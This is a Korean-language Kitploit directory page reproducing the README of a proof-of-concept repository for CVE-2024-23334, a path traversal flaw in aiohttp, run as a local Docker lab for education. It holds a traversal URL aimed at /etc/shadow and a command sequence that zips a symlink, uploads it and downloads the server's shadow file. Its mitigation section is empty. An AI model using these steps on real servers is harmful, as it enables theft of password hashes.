Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
poc-cve-2024-23334 — 이 저장소는 보고된 취약점 CVE-2024-23334에 대한 aiohttp 라이브러리 악용의 개념 증명을 포함하고 있습니다. | Kitploit
도구/GitHubGitHub/brian-edgar-re/poc-cve-2024-23334
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubbrian-edgar-re/poc-cve-2024-23334

poc-cve-2024-23334

이 저장소는 보고된 취약점 CVE-2024-23334에 대한 aiohttp 라이브러리 악용의 개념 증명을 포함하고 있습니다.

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

poc-cve-2024-23334

이 저장소는 보고된 취약점 CVE-2024-23334에 대한 aiohttp 라이브러리의 악용에 관한 개념 증명을 포함합니다.

이 저장소는 두 가지 목적으로 만들어졌습니다:

  1. 교육 목적: 애플리케이션 보안을 시작하는 사람들이 취약점을 재현하는 단계와 그 배경 개념을 이해하는 데 도움이 됩니다.
  2. 수정 단계: 문제를 해결하기 위한 완화 조치를 공유합니다.

자세한 내용은 제 웹사이트를 방문하세요: https://brianre.dev/

요구 사항

  • Docker 설치
  • Python3 설치

로컬에서 프로젝트 실행 방법

  1. 이 저장소를 로컬에 클론합니다.
  2. 다음 명령을 실행하여 이미지를 빌드합니다:
root@kitploit:~
make build
  1. 다음 명령을 실행하여 컨테이너를 실행합니다:
root@kitploit:~
make run

Docker를 분리 모드로 실행하려면 다음을 실행하세요:

root@kitploit:~
make rund

시나리오

  1. 수정된 URL로 요청을 보내 경로 탐색(path traversal)을 수행하고 로컬 파일 포함(LFI) 취약점을 악용합니다: 익스플로잇을 실행하려면 다음 스크립트를 실행하세요:
root@kitploit:~
python3 exploits/exploit_path_traversal.py

스크립트를 실행하면 서버에 원시 HTTP 요청을 보냅니다. curl을 사용하거나 브라우저에서 직접 접근하지 않고 이렇게 하는 이유는 해당 도구들이 HTTP 요청을 보내기 전에 URL을 정리(sanitizing)하고 정규화(normalizing)하기 때문입니다. 여기에는 경로 정규화(path normalization)가 포함됩니다: curl이나 브라우저 같은 도구는 URL 경로를 처리하면서 디렉터리 탐색에 사용되는 .. 같은 시퀀스를 제거합니다. 따라서 /static/../../../../../../../../../../../../etc/shadow와 같은 경로는 /etc/shadow로 정규화되며, 표준 웹 서버에는 이러한 리소스가 일반적으로 존재하지 않기 때문에 404 오류가 발생합니다.

  1. /etc/shadow와 같은 제한된 파일에 대한 심볼릭 링크가 이미 생성되어 있습니다. 이 시나리오는 가장 가능성이 낮지만, 회사 내부에서 누군가 이를 이용해 정보를 유출할 수 있으며 사람들이 정적 로그를 확인하지 않을 수 있습니다. 그리고 정적 파일 접근이 기록되지 않는 경우, 유출 시점을 식별하기 매우 어렵습니다.

이 저장소에서 만든 시나리오는 취약점을 설명하고 취약점이 존재하며 여전히 악용 가능함을 증명하기 위한 것입니다.

  1. 누군가 서버에 심볼릭 링크를 업로드하여 악용할 수 있습니다. 더 현실적인 시나리오로, 제 컴퓨터에서 생성된 심볼릭 링크를 업로드한 다음 해당 파일에 접근하여 /etc/shadow와 같은 파일을 검색합니다.

이를 수행하는 방법은 압축 파일을 사용하는 것입니다. 이렇게 하면 심볼릭 링크를 업로드할 수 있고, 서버에서 압축이 풀리면 동일한 심볼릭 링크가 생성됩니다. curl을 통해 link.jpeg 파일로 직접 심볼릭 링크를 업로드하면 심볼릭 링크가 가리키는 로컬 파일만 읽고 원본 파일을 업로드합니다. 따라서 서버 파일 시스템의 특정 경로를 대상으로 하려면 .zip 또는 .tar.gz와 같은 압축 파일을 업로드할 수 있어야 합니다.

두 번째 시나리오를 재현하려면 다음 단계를 따르세요:

root@kitploit:~
touch /etc/shadow   # 지정된 디렉터리에 파일을 만듭니다. 기존 파일을 덮어쓰지 않도록 주의하세요.
ln -s /etc/shadow exploit.jpeg  # /etc/shadow 파일에 대한 심볼릭 링크를 만들고 exploit.jpeg로 이름을 지정합니다.
zip -y images.zip exploit.jpeg  # 심볼릭 링크를 압축합니다.
curl -X POST -F "[email protected]" http://localhost:8080/upload # zip 파일을 업로드합니다.
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg    # 심볼릭 링크에 접근합니다. aiohttp에 취약점이 있으므로 서버의 /etc/shadow 파일을 반환합니다.

완화 조치

TODO

개발

로컬에서 프로젝트를 개발 환경으로 설정하려면 다음을 수행하세요:

  1. 가상 환경을 생성합니다.
root@kitploit:~
python3 -m venv env
  1. 종속성을 설치합니다.
root@kitploit:~
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt

리소스

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23334
  • https://nvd.nist.gov/vuln/detail/CVE-2024-23334
도구 다운로드